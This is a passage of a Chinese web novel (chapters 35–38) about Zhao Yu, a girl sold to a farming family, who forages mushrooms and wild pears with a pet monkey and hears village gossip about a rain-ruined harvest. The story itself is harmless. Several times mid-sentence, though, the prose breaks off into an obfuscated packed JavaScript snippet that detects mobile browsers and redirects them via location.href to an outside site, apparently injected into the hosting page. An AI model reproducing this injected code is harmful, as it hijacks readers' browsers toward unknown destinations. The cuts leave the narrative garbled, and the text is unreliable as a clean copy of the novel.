之所以寻刘贵,不过是他识得一些草药,这份本事在普通村民眼里,就和大夫说“略有几分看病的本事”一样,于是村里一些人一有头疼脑热的就爱往他面前转,或是和他讨些草药自己回去煮着喝。 无论刘贵多次说自己看不得病,也不会看病,但大家伙为了省下钱,最先找的人就是他。 加上刘贵时不时将采到了药草送到许家药馆,次数多了,也和看诊的大夫说上几句话,明白了一些草药的用处。 别的他不懂,风寒风热倒是记了一些放心上,于是再被村里人缠得紧了,就将不用炮制的草药送出去几株让他们煮水喝。 别说,那些头疼脑热竟然在喝过之后当真缓解不少。 这一下,刘贵真就被村里一些人认为是有些能耐的“半个大夫”。 周老汉找刘贵倒不是因为舍不得钱,若说看病还是许家让人信服,但自从许家靠着药馆将日子过红火之后,九龙村他们便不常回来,举家已有在县城落户的打算。 赵榆这晕得突然,周老汉心急,只好先来找刘贵给看看,好歹是“半个大夫”,总比他们这些什么都不懂的人强些。 刘贵清楚自己几斤几两,本想拒绝,但在周老汉的请求下,只好答应先来看看。 等他怀着没着落的心进了赵榆的屋子,竟还真让他瞧出了些名堂。 这赵小姑娘面白唇干,怎么和许家药馆那位老大夫描述的暑热有些像…… * 赵榆醒来时,周家人干活还未回来,院子里静悄悄的。 感觉到嗓子一阵发干,她撑着手肘坐起身,待突临的眩晕过去,这才强撑着下了床。 她现在渴的慌,急需一瓢凉水下肚。 不等她出屋,就见大牛从灶房出来,怀里抱着一个陶罐正小心翼翼地往她这边来。 他人小,腆着小肚子将装得满当的陶罐稳定在两手之间,就怕罐子里头的东西洒了出来。 那副绷着小脸的模样,瞧着十分可人。 赵榆忍不住勾了勾唇,虚着声音叫了他一声。 大牛听见声,连忙抬头,惊喜道:“榆阿姐,你醒啦!” 赵榆笑着点了点头,见他抱着陶罐小短腿迈地很是艰辛,忙忍着发软的身体将罐子接了过来。 等将陶罐放在猴子经常蹲的木椅上时,赵榆这才松了口气。 也不知道她这是怎么了,两条胳膊像是失了力般,差点将这罐子给摔着。 大牛很高兴赵榆醒来,记着周婆子的吩咐,他忙将陶罐打开,催促道:“榆阿姐,你快把这些喝下去。” 赵榆:“这是什么?”罐里的水隐隐发黄,像是掺了水的苦药。 但仔细一闻,却带着些淡淡清香。 她倾身凑近看了看,无需大牛回答,她已经认出了里头的东西。 是竹叶和车前草熬煮出来的汁水。 这两样东西太常见,赵榆想不认识都难。 不过她记得这竹叶和车前草性寒,有清热去暑的效用。 周婶为她煮这种汁水,难不成自己是热出病来了? 喝完一罐子水后,赵榆又迷迷糊糊睡了过去,等再次被叫醒,外头太阳已经下山。 赵榆缓缓睁开眼,面前出现的竟是周婆子,她身体一震,连忙爬起来。 现在正是秋收的时候,周家老老少少忙个不停,反倒是她这个最该干活的人竟然睡到现在才醒,哪怕是因为身体不适,赵榆也觉得过意不去以及些许慌张。 担心周婆子会因为她没能帮着做活而生气。 赵榆紧着嗓子唤了一声“周婶”。 意外的是,周婆子不仅没生气,在应了一声之后,神情还算平静地问她身体可恢复了些,并让她先起来将晚食吃了,待吃完后再继续歇息。 没被嫌弃不中用赵榆已然觉得很好了,但当她落座后,紧接着周婆子给她端来一碗蛋羹时,赵榆心里是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只是待她看清它脖子上缠绕的东西时,她还没完全浮起来的笑意又给收了回去。 这猴子是有多喜欢吃蛇,什么花纹的都敢吃,这次带来的蛇看起来不太长,却足有她手腕粗,灰麻色的蛇鳞,带着浅浅的黑色纹路,这一看就是条毒性烈的蛇。 这次别说让猴子上床了,就是它靠近,赵榆都觉得瘆得慌。 “哇!” 赵榆摇头,指着一旁的椅子道:“去那边!” “哇哇哇!” 赵榆面色坚定,拦在它身前,就是不准它上床。 最后猴子在向赵榆扔了两个果子以表不满之后,这才带着它的蛇上了木椅。 赵榆松了口气,真怕管不住它。 坐回床上,余光一扫,在床里侧发现了猴子仍的果子,一开始她只以为是普通野果,待看清后发现竟是一个青皮梨子。 赵榆忙将另一个也从床底下掏出来,看着这两个摔烂的梨子,心疼地抽了一口气。 这么好的梨子,都给摔坏了! 本想数落它一句,但想到这两个梨子可能是它特地带回来给她吃的,心里又有些发软。 算了,只是摔烂了而已,又不是不能吃。 等她取了水将梨子冲洗一遍后,刚要凑近咬上一口,就听见主屋那边一阵噼里啪啦像是东西摔在地上的声响,紧接着便是二牛扯着嗓子嚎哭起来。 赵榆一愣,连忙放下梨子,起身跑了过去。 35. 第三十五章 踏进堂屋后,二牛哭声未消,甚至越发急切,在这片哭焦中,还夹杂着妇人一声声很是浅弱的轻哄声。 待赵榆到了卧房门口,就见那摆在床边的木头柜子倒塌下来,而大牛娘正被这柜子压在下面,动也不能动。 二牛似被吓坏了,哭得小脸通红,坐在地上,抱着他娘的手,试图将人拉出来。 赵榆眉心一跳,立即去将柜子抬起。 好在这柜子不大,里头放的都是些衣物,并不沉重。 将人扶起来后,赵榆有些担心大牛娘是否被伤着了,毕竟对方这身体太过虚弱,不宜再有磕碰。 扈娘,也就是大牛娘,笑着摇了摇头,说自己无碍,幸亏赵榆来得及时,让她能从柜子底下出来,否则自己恐怕还得在这湿凉的地上趴着。 她这身子,轻易受不得凉,若是没有赵榆,今日起她怕是要多喝几两药了。 听着她说,赵榆这才知道大牛娘之所以病弱,是在怀二牛的时候摔了一跤,还未足月,就将孩子生了下来,不仅她自己身体伤了,二牛也跟着体弱多病。 说着,扈娘面目哀伤,她将二牛拉进怀里,给他拍着哭嗝,神情满是愧疚。 这么久了,她时常责怨自己不够小心,她伤了也就伤了,还连累了二牛小小年纪三天两头的要病上一场。 赵榆心里也不落忍,只能磕巴着安慰着,“……二牛和大牛一样,爱玩爱闹,很是活泼,一看就是能长命百岁的。” 许是觉得这些话藏在心底就好,不该说出来惹人烦心,扈娘摸着二牛的头顶,闲谈起别的来。 “赵小妹……是哪里人?”因体弱的缘故,扈娘气息仍旧不稳,吐字轻而慢,时常停顿喘息。 赵榆心里一咯噔,话题怎的转到这上头来了? 但好在这个问题她能回。 之前周婶买她的时候,那人贩子脱口说道她是在青州收到手的,想必原身即便不是青州人,也合该在那附近。 赵榆:“青州。”回答完,她心中依旧有些忐忑,担心对方还要再问一些她不知道的东西。 好在扈娘虽本着了解对方的念头,但被卖给人牙子本就不是什么好事,她也不愿戳人心,没在继续问其他的,只道:“青州啊……听名字就知道是个好地方……奈何我就是个双腿裹田泥的农妇……没什么世面……也不知离我们这儿是近是远……” 这话不好答,因为赵榆也不知道。 她不是原身,没有之前的记忆。 青州这两个字除了让她觉得有些顺嘴外,在没别的感受。 但这事也给赵榆提了醒,大牛娘既然会问她之前的事,那么周婶也会,保不齐之后还有更多的人。 为了不暴露,她总得想个一劳永逸的法子。 想到这,赵榆做出为难又显落寞的神情,“青州这名字我还是从人牙子嘴里听到的,具体的我也不知晓。” 她苦笑一声,“据人牙子说,他们在赶来这里的路上突临一场大雨,有人还因此丧了命,我倒是命大还活着,不过也因为高热一场糊了脑袋,这之前的记忆一时间也忘了个干净。” 赵榆这话可不全是假的,淋雨以及有人丧命这事就是她从另一个“笼友”口里听说的。 还有原身发热也不作假,她从笼子里醒过来时,身体仍旧低热未退。 但不等她完全恢复,就被第一位买主给带走了…… 好在赵榆这方法有效,大牛娘为了不提起她的伤心事,有意说起大牛来。 “也不知那孩子做活用不用心,有没有偷懒?” 赵榆想到大牛这些天提着小篮子跟着大人后头转悠的样子,笑着回道:“他厉害着呢,一天下来,谷粒可捡了不老少。” 赵榆一边说着,目光不自觉落在一旁的小袄子上头。 这是上次进来找钱袋子时见到的那件,相比之前只缝制了半只袖子,眼下有了变化,那整只袖子已经完成。 看着这袖子鼓鼓囊囊的模样,想必里头塞了不少棉花。 赵榆搓着身上已经起毛边的粗布衣裳,心思又跟着起来,也不知成衣铺子可有棉花卖,价钱几何。 眼下虽还热的厉害,但她总不能到天凉下来后还没个准备。 正想着,余光瞥见门口闪过一个身影。 正当她以为是自己眼花,然后一只长条尾巴露了出来。 赵榆一惊,这才想起她屋里还留有一个猴子。 担心这藏头不藏尾的猴子被发现,赵榆不敢再多留。 等出了卧房后,果然在角落发现了它,忙弯腰将它抱起来,这才快步离开。 等回了她自己的屋子,就见木椅上还剩半截蛇身没吃完,约莫是见她一直没回来,这才找了过去。 它倒是胆大,也不怕被人看见后抓它下油锅! 因这事,赵榆又一次向猴子表述它的肉有多适合做下酒菜,喷香喷香的,十分得人喜欢。 “哇!” “非常香!” “哇哇!” “别人都喜欢!” “哇哇哇!” “我没骗你!” * 周家虽然最先开镰,但家中劳力不足,等将谷子全部搬回家已经属于落在后头的那一批了。 但好在及时,赶在下雨的前一天忙完了这年的秋收。 将近十天起早贪黑的忙活,周家人全都消瘦不少,这场大雨虽然耽搁了晒稻谷,但是能让这些吃了苦头的人趁着这个时候缓上一缓。 这场雨下了两天未歇,豆大的雨点砸在地上,没完没了。 好不容易今早雨停了,赵榆见有人带着斗笠从院外经过,瞧着约莫是上山采菇子。 她想起了上次那个菇子窝,两夜的雨水滋润,指不定那里又冒出来不少。 看了眼还关着门的大屋,赵榆去将灶房外头的竹筐拿上,转而又进了屋子,去将木椅上睡得肚皮朝天的猴子抱起来放进筐子里。 雨天山里阴湿,还是带上猴子壮壮胆为好。 那条树藤还在,赵榆爬上树再次用它上了坎坡,虽有些磕跘,但总算是找着了那菇子窝。 相较于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683283|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的不容易,猴子可就顺畅多了,树头来回蹦跶,从这头到那头,如履平地一般。 赵榆钻进草丛里,如她想的那样,经过两夜催生,这里头又一次满满当当。 知道这些都是能吃的,赵榆没了顾虑,速度相比上次要快上不少。 等她将里头大大小小的全采了,竹筐也装满了大半。 赵榆心满意足地背起筐子往外走,虽然猴子这次不能和她一同回去,但她离开还是得和它说一声。 唤了几声,在得到它的回应后,赵榆这才悠悠的原路返回。 周家人已经起了,远远地就瞧见灶房的烟囱正冒着烟。 赵榆进了院门,还不等她走近灶房,周婆子已经先一步出来。 她用身上围着的破布围裙擦着手,瞧见赵榆身后背着的竹筐,脸上泛着喜色,“这是去了那地儿?可多?” 赵榆笑着点点头,“多着呢,不比上次的少。” 周婆子帮着将筐子卸下来,从里头拿起几个菇子看了看,笑道:“确实不少,模样还鲜嫩,卖价估摸着能高上一文。” 听到周婶满意她采回来的菇子,赵榆自然也很高兴,想到什么,她试探着开口询问能不能送上一些去刘家。 梨子虽是刘三娘的赔礼,但那刘贵上门给她断了一次“病”,也该送些东西表示表示,不好让人平白走这一趟。 周婆子点头,她也是这么想的,有来有往才能维持住交情,况且那刘家也是个好的,她也不愿意占人家便宜。 “一会儿你多拿些去,菇子煮汤滋味好,刘贵爹娘牙口不好也能多喝一些。” 周老汉也在一旁将这菇子摸了又摸,满意道:“难得的好品相。”那地方能被榆丫头发现,也是他周家沾了她的福。 周婆子心情不错地点头,“得亏阿榆找到了这个菇子窝,让咱们家饭桌上不缺这盘菜,以后只要下雨,我们就去采回来,自家留一些,剩下的拿去县城卖,几次下来,换回来的钱还是很可观的。” 今早醒来,没听见外头的雨声,周婆子就知道山外侧的那些菇子自家是没份儿了。 明明睡前还想着次日早早起来,雨一停就先往山里钻,她家离山最近,只要赶在别人前头,那她就能采到菇子。 哪想这次收谷子确实累着了,这一觉睡得竟人事不知,雨停了都不知道。 等她醒来,天都大亮,别说先人一步上山,恐怕去的早的已经采满了一篮子正要往家走了。 没赶上时候,可想而知周婆子心里有多郁闷,但好在赵榆之前发现了个好地方,外侧的那些她抢不到,有了那福窝里长的菇子,她家总是不缺的。 正当她急匆匆地想要叫上赵榆去福窝采菇子,却怎么也没见着人。 想到赵榆的勤快劲儿,周婆子很快就猜到她莫不是独自去那地儿采去了,又见灶房外头的竹筐不见了,这才确定。 赵榆不知道周婆子所想,她还震惊在周婆子对她的称乎上—— 阿榆? 这还是她第一次听周婶这么唤,周瑜心里泛着喜意。 36. 第三十六章 这次赵榆带回来的菇子多,周婆子也大方,将上次装梨子的竹篮子装满菇子,这才让赵榆给刘家送去。 这天约莫是半个来月没下雨,这次要将蓄积的雨水全给落下来。 赵榆这才刚拿上篮子出门,没停多久的水滴又开始砸在她头顶。 路都走了一半了,赵榆索性快步跑向刘家。 刘三娘夫妻俩都在,赵榆进院门时,他们两人都坐在堂屋门口,一个在缝补衣裳,一个在拿着竹条闷头编着竹篮子。 听见声,刘三娘一抬头就见赵榆拎着篮子跑进来。 她一惊,忙站起身,“哎呀!赵小妹你怎的下雨还往外跑?!” 赵榆抹了摸额头的雨水,笑着将篮子递过去:“这不是想着趁菇子还新鲜着,给你家送些过来,哪想半路这雨就下下来了。” 刘三娘盯着这一篮子的菇子,眼睛都睁大了,“这么多?” 她进刘家门可得有好几年了,这村里的情况她也算知悉。就这菇子你不赶在最前头进山,那是甭想采到一株。 之前还有人为了不落在人后,各家的鸡还未叫呢,就举着火把进山。 这菇子虽说一下雨就冒出来,可也得你抢得到。 浅山盯的人多,能进肚府的东西没个能耐是享不到的,深山里头的,更不用说,没真本事是想都不敢想。 她家刘贵也是个没甚本事的,虽比村里人胆大些,敢往山里头走,但也只是和浅山比,再深些是如何也不敢了。 次次就在那一块地方寻摸,初始还算好,野果以及常见的药材还能每日带回来一些,可这时间长了,空手回来的次数也不少。 刚刚两人还在商量要不要往山里头再走走,走深一点带回来的东西也就多了。 钱要挣,毕竟还有一家老小要养,可刘贵这条命也万不能出事。 再往山里走,谁知道会碰上什么? 刘三娘不愿意刘贵去冒这个险。 她拿起一株看了又看,随后又放了回去。 这篮菇子确实十分吸引人,但刘三娘却不能收,她推辞道:“这菇子有多难得,我心里头可清楚的很,你快快拿回去,我可收不得这好东西!” “怎就收不得?”赵榆没给她往回推的机会,直接放在了刘贵的面前,“刘大哥给我看病,诊金我还没给呢。” 刘三娘笑出声,“他算哪门子看病,庸医还知道把把脉,他连脉象是什么都不知道,不过是瞎子看书聋子听戏,装模作样而已。” 刘贵在赵榆来了后就停了手里的活,这时听他婆娘说这话,臊得不行,显黑的脸上越发黝黑起来,他忙让赵榆将菇子带回去,什么诊金不诊金的,她愿意给,他还没脸要呢。 赵榆可不听他们的,直接将篮子往他家堂屋送,刘三娘两人没法了,只能收下。 刘三娘将家里还剩下的两个梨子拿出来,洗干净后递给赵榆,“你恁的客气,就这一篮菇子值好多钱了。” 赵榆让她莫在客气,看着递过来的梨子,她接过,却没吃只是拿在手上。 说起梨子,赵榆不免想起上次猴子给她带回来的那两个,个头大,滋味还甜,也不知它上哪摘的。 雨越下越大,赵榆坐在小木墩上和刘三娘闲聊着,隔着雨幕,她竟发现远处的田地里还有一些人在收割稻谷。 她惊奇,“那是谁家?下这么大的雨怎么不停一停?” 刘三娘顺着她的指向看过去,直接道:“还能是谁?那边是汪家的田。” 汪家,也就是陶氏家里。 不等赵榆继续问,刘三娘一股脑全说了。 在周老汉准备开镰的当天,村里其他人家也开始准备起来,唯有汪家像没事人一样,看着周围的几家忙着往家里搬稻谷,她又是斜眼又是冷哼,活像别人搬的是她家谷子一样。 而且听说汪家和李家,也就是郑婆子都有将稻谷再养养的想法,想着延后半个来月又没什么影响,反正两家条件好,家里余粮不像其他人家都见底了。 可约是这般约的,奈何只有汪家当回事儿,一家子悠闲十来天,转头发现李家那十几亩田的稻子都收割得差不多了。 唯有她汪家稻谷还完整整的摆在那,一片金黄,与周遭空唠唠,只剩稻桩的田地不同。 后面的事也不用说了,汪家人在空闲了多日之后,终于火急火燎的开始往田里跑。 在有些人家已经结束,开始在家晒谷子的时候,他们家才开始起早贪黑。 这事其实李家做得也不对,口头约也是约,怎的自家谷子都收完了,还不和汪家说一声呢? 这里要说的是,李家水田有些特殊,不全在九龙村,因他家在村子的最前头,和邻村更近,于是这大半水田也被分到了那边,和郑婆子娘家那些地分在一处。 郑婆子娘家就在邻村。 于是这就导致了李家往家收稻谷,汪家是丁点儿不知晓。 按理说,这件事足以使两家吵起来,但谁让陶氏和郑婆子关系好,这才冒点儿烟的火堆还没起火星呢就给灭了。 赵榆看着那还在不停忙活的人影,有些莫名,这稻子都长熟了,早割还是晚割有什么区别? 还不如和村里人一样,早早地将粮食收回家里,就是睡觉都安心不少。 刘三娘又继续道:“也是这汪家走了背运,谷子还没往家搬多少,这天就往下泼这么大的水,田里涨水不说,这风也不小,愣是将这稻穗成片吹倒。” “他们家若不尽早将谷子收回去,这倒塌的稻穗被泥水一浸,这和发洪水绝收没什么两样。” 这雨好似越发大了,又急又密,像繁密的细丝垂了下来。 赵榆都快看不清汪家人的身影了。 赵榆问:“情况都这么遭了,他们家不请人帮忙?” 刘三娘将针尖往头上擦了擦,接话道:“倒是有好心的上门帮忙,但只一天就空着肚子回去了,她家这么不会做人,谁还敢再乱发好心,又不是力气没处使。” 雨丝愈加密,隐隐绰绰的黑点也像是消失了一般。 赵榆没再关注汪家人,又和刘三娘聊起别的来。 直到刘家孩子从房里出来嚷着肚子饿,赵榆这才意识到已经近午时了。 不好再继续多待,想着和刘家借个斗笠回去,恰巧这时刘家院门外有人在唤她。 转头一看竟是周老汉。 周老汉披着蓑衣,将另一件递给她,没有多说,只道:“丫头,回去吃饭了。” * 这场雨下了五日才终于舍得放晴。 一大早周谷就连背带拿的将家里这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周婆子也跟着冷哼,“她懂什么理?猪脑子烂心肝!讨人嫌的很!” 骂完,她环顾一周,既是对着赵榆,也是说给周家其他人听,“咱们周家一直是三七分,三层自个儿留,七层交公。” “四十文里分给阿榆十二文,你们有谁指出我算错了?” “四十文全收我手里,我是巴不得,不过从此后,三七分就要不得了,你们自己兜里的也得全给我交出来。” 一旁方春梅怂恿周青的心思立即散了,三七分要不得,那岂不是说以后但凡赚了钱,她连一个铜板都分不到? 这般想着,虽心里十分不愿意赵榆分钱,但她也不敢再说什么? 这周家就是这老婆子一言堂,若一个不顺心,真将银钱十成十地捏在手里,她以后还怎么藏私房钱! 不同于方春梅等人的心不甘情不愿,赵榆的注意力全在周婆子的那番话上。 周家赚得的银钱惯常三七分…… 赵榆捏着手里的十二文,忍着激动地暗暗思量,这是不是说明周婶和周叔拿她当自家人了?! 37. 第三十七章 手里有了钱,赵榆兴奋几天过后,越发想要十二文能一翻再翻。 至少能买得起一件袄子! 体会过山里野货能赚钱,赵榆时刻想往山里头钻。 这天一早吃过早食,赵榆便和周婆子说想上山转转。 眼下属于农闲,没什么活干,周婆子并不拦着,只叮嘱她不要往深山跑,便挥手让她去了。 得到允许,赵榆立即背上竹筐就要出门。 大牛粘赵榆,一看她要出去,丢下二牛就要跟着。 赵榆好一番哄,这才将人给劝回去。 这次她没再从周家菜地那边上山,而是走得周家左侧的小道,这是村里人进山经常走的路。 赵榆一边走,一边抬头寻找猴子的身影。 它今早霸着木椅不愿走,见她一副要出门的样子,这才趁着周婶他们不注意从院墙那边跳了出来。 因为哄劝大牛花了一些时间,也不知道它有没有跑远。 赵榆抬眼从这棵树扫到另一棵树,一直没看见它。 以为它已经走了,就听见旁边的草丛里传来一声“哇”。 原来是藏在这里,亏她以为它喜欢在树上,一直往上面寻。 赵榆冲它招手,“走了,我们上山。” 一路上去,并没什么特别的。 这边砍树捡柴的人多了,山路都给踩出好几条来。 赵榆在这里转了一圈,就放权给猴子,让它带着自己走。 猴子不像赵榆上山抱有目的,它自在的很,这个树上蹲蹲,那个树头跳跳,碰见感兴趣的它一顿哇哇大叫,然后就待着不走。 可就是这般停停走走的,等赵榆反应过来发现周遭村民留下的痕迹几乎没有了。 她回头望了望,已经开始晕头转向,连来时走过的路瞧着都不确定起来。 赵榆即便有准备,心头还是忍不住一紧,抬头朝着树顶的猴子道:“你可千万得把我带回去啊!” 因已经失了方向,赵榆眼下完全随着猴子走,双眼是一刻不离地追随着它,生怕自己一疏忽被它丢下。 前不久还能见到一些被砍伐的树桩,现下她已经完全身处密林,周遭全是各种粗壮的树,遮天蔽日的,整个人像是被囚在其中。 赵榆缓缓吐了一口气,又看了一眼猴子,确定它还在。 她也是没想到,不过是又往里多走了会儿,差别竟是这般的大! 这其间像是有莫名的界线,一旦超过,仿若走进了无人踏足的地方。 也不知是不是错觉,她竟觉得此时的鸟叫声都深幽了不少。 还有地上被野物踩出来的脚印…… 赵榆猜测是野猪…… 从一个兔子都很少出没的山林到连着两处见到新鲜出炉的猪蹄印,这番过度属实太快。 好在猴子一直叫个不停,让她不至于太过心慌。 赵榆不知道猴子要带她去哪,越往深处走,她越能感受到属于大山的静匿。 而且随着渐深,这些树也越发粗壮高大起来,不经意间,猴子竟越来越高,她得将头仰得幅度再大些才能见着它。 然而现在赵榆有些顾不上它,原因是她发现了一棵了不得的树。 围着这棵树转了一圈又一圈,赵榆喜得不行。 那树头挂着的青油油的果子,不正是她心念念的梨子么?! 一个连着一个地从枝叶中垂下,多得数也数不清。 赵榆不愿再往里走了,忙转头喊住猴子,“今儿就到这,下次上山我再随你进去。” 见她停住,猴子从树头下来,蹲在她头顶的树干上一阵“哇哇”。 像是疑惑赵榆怎么不再跟着它? 赵榆冲它摆了摆手,“不走了,找到这棵梨子树咱们这趟值了!” 猴子听不懂她在说什么,但见赵榆一直围着这棵树转,它也好奇地荡过去,然后随手摘下一个梨子,抱着就开始啃。 这棵梨子树不小,又高又粗,应该是长了数年的老树。 因它枝干多,费些力气她还是能爬上去的。 赵榆背着竹筐,双眼紧盯头顶上方的树干,运了运力,然后猛地一跳,双腿轮空,双手紧紧扒住树干,随即借着力将双腿提起,蹬住树身,缓慢的将自己吊起来,直到吊挂着与她抱着的树干平行。 艰难地将自己翻到树干正上方,然后坐起身,赵榆这才舒了口气。 她这边爬着树,猴子蹲在树顶一个劲的哇哇直叫。 赵榆听出它是在嘲笑自己,她爬树的样子的确狼狈,可好歹爬上来了不是? 不再搭理它,赵榆扶着树身站起来,开始往筐子里头摘梨子。 这些梨子个顶个的好,除了有些被鸟兽啄烂的,哪个不是又大又圆润。 因为梨子足够多,赵榆不免就挑拣起来,只摘她看得顺眼的。 不知不觉间颈侧一阵发痒,抬头一瞧,竟发现她已经爬到了猴子屁/股底下,而它的长条尾巴正晃悠着,时不时扫到她的脸上。 赵榆反应过来,低头一看,这才发现她竟爬得这么高了。 后背的筐子她不敢装得太多,否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703229|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则一会儿下树是个麻烦。 将面前晃来晃去不太安分的尾巴撇开,赵榆开始往下去。 为了多带一些梨子回去,赵榆上了两次树,等将筐子装得差不多了,她这才坐靠在树下歇上一歇。 而猴子早已经不在树上,它跑来地面这边转一圈,然后又上另一边转一圈。 看样子像是在巡视领地,但赵榆觉得它在瞎忙。 它一个没什么威慑力的猴子圈什么领地? 尤其是它还学着猛兽那样在多棵树身上蹭了又蹭,留下它的猴味儿,甚至觉得味道还不够浓厚,它身子一转开始对着大树撒起尿来…… 赵榆:…… 简直没眼看! 它这是在做什么? 老虎那些的这么做她能理解,它一个猴子就没必要了吧。 前者是为了威吓别的兽类不准进它的领地,猴子这么做,怕不是在招引野兽,让它们快快来,这里还有一只肥美的猴子等着给它们加餐…… 赵榆摇了摇头,看着它矮胖的身子,怜惜涌上心头。 这是还没认清自己呢。 想到这里,赵榆觉得她这次上山属实是大意了。 想着跟着猴子她不至于在山里迷路,可她忘了猴子也怕豺狼虎豹。 无论如何,她都得带上一把柴刀才对。 万一遇上野猪这些,她手里有刀好歹能吓住它们。 赵榆越想越觉得周遭不安全起来,她连忙将竹筐背上,站起身,招呼着猴子离开。 她想着赶快离开这里,可猴子又不懂。 它才标记完自己的气味,正昂首挺胸地对着四周一阵哇哇叫。 瞧着有模有样,当真有种一方霸主的气势。 赵榆被忽悠了一瞬,但好在它矮胖的身体让她清醒过来。 “猴子,我们该回去了。”赵榆朝它挥手,做出要离开的动作。 赵榆也不知道它懂没懂她的意思,但好在它开始有行动了,而不是一个劲儿蹲在树头吱哇乱叫。 然而走了一会儿过后,她就发现有些不对。 虽然在山里她分不清方向,但基本的判断还是有的。 赵榆觉得她现在好像不是在往回走,反而有种围着一处地方在打转。 她抬眼看向猴子,暗想,她不会是在替猴子巡视领地吧! 也不知道变换了几个方向,等赵榆觉得走了这么久也该到浅山了,不曾想一抬头发现她竟又回到那棵梨树底下。 所以……这猴子当真是带着她围着它新圈的领地转了一圈? 38. 第三十八章 被猴子带着在山里一通乱转,终于赶在太阳落山前进了周家的院子。 饥肠辘辘自不必说,腿脚也跟着酸疼起来。 赵榆受不住地落坐在院子的木墩上,将装得满当的竹筐卸下,这才揉了揉肩膀,跟着松懈下来。 大牛是最先发现她回来的,兴奋地直叫唤,声音洪亮,将屋后头忙活的周老汉老两口给急急忙忙招了出来。 两人看见赵榆好端端的回来了,也着实是松了口气。 山里凶险,他们担心她遭遇麻烦,好在这人看着是疲累了些,但手脚还是好全的。 放下心后,周婆子免不了一顿数落,尤其在看见那一竹筐的梨子,更是面色严肃起来,“这些梨子你上哪儿摘的?是不是进深山了?” 赵榆想说不是,但不知是不是心虚,她没说出话来,只冲着周婆子两人摇头否认。 周婆子可不信她,尤其是眼前这些梨子瞧着比刘家给的那些还要大上一些,明显不是山外侧能长出来的。 周婆子:“这片地方我可比你熟悉,近山可没这么好的梨子留给你摘。” 知道瞒不过,赵榆只能半真半假地解释一番,说这棵野梨树虽不在浅山,却也离的不远,她也是无意中发现。 且周遭树木稀疏,一览无余,瞧着也不是能藏匿危险的地儿。 赵榆也想如实说,但见周婶这严肃的神情,她担心不掩饰一些,会被阻止上山。 今日这一趟虽让她心惊胆颤疲乏无比,但回想起来却无故觉得心安。 安的不仅是她带回来了一筐野梨,更是她能在山里存活一日。 能安然无恙活一日,就能活无数日,赵榆存着斗志,她期待能再次进山。 周婆子可不知道她的心思,深山老林的,虎豹也不知藏在哪个旮沓里,这若是碰上了,只能是给这些畜生填肚子的命。 况且还不止这些,即便运气好没撞见那些要人命的玩意儿,可一旦在山里晕了头,找不着方向,到时候任你呼天呛地都没用。 那些密集的树只会死死地把你困在里头,再难出来。 赵榆明白周婶的好意,可她想要继续进山的念头止不住,只能一再地向对方保证自己能安全出来,绝不会迷失在山里。 她有猴子,只要猴子不丢下她,她就无事。 就像这次,因猴子野性足,连带着赵榆也是闷头闷脑的满山跑,七转八拐,爬上跑下,她早已失了自主辨认方向的念头。 只希望它能在天黑前将她带出去。 可她威胁也好,央求也罢,猴子听不懂,依旧自顾自的到处窜。 好在它还知道树下跟着她这么一个人,时不时地嚎叫一嗓子,像是在提醒她跟上。 但凡她慢了些,它还知道等一等,或是返回来查看她是个什么情况。 猴子欢快的忘乎所以,徒留赵榆独自担忧能否赶回周家。 就在她做好要留宿深山的准备时,一抬眼,竟看见山下成片的屋子。 赵榆惊喜不已。 原来在她还无所觉的情况下,猴子早已经带着她从深山里走了出来,只因不是之前的原路,她这才没发现。 如此,赵榆越发觉得猴子靠得住。 周婆子见赵榆铁了心的要往山里去,以为她是舍不得那一树的野梨,无法,只能同意下来,不过条件是进山必须得叫上周谷作伴。 周谷长得壮硕,有一把子力气,有他陪着上山,周婆子能放心些。 都到这份上,赵榆哪还敢拒绝,只能点头应是。 该说的都说完了,众人免不得被眼前的一筐梨子吸引了目光。 大牛更是带着二牛蹲在竹筐边,兴奋不已地对着梨子一摸再摸。 大牛咽着口水向赵榆喊道:“榆阿姐,我想吃!” 赵榆捧着周婆子给她留的饭食,吃得急,听见大牛的话,这才抬头,将嘴里的全给咽下去后,道:“想吃就拿,多着呢,随便吃。” 周婆子也是第一次见这满满一筐的梨子,这近处也不是没有梨子树,可就如那山里头的菇子,一般人抢不到。 她都好多年没瞧见这般大的野果子,心里头还挺稀罕。 周婆子将梨子全拿出来数了数,整整三十个。 听见赵榆这大方的口吻,她忙打断,“不准多吃,大牛二牛一人只准拿一个,再送些给刘家和村长家,其余的全拿去县城卖了。” 一听要拿去换钱,赵榆眼睛一亮,她手里的十二文终于能变一变了。 第二日,依旧是周谷带着那些梨去的县城。 赵榆原打算休息一日再上山,但一想到手里的钱会变多,她就浑身有了干劲。 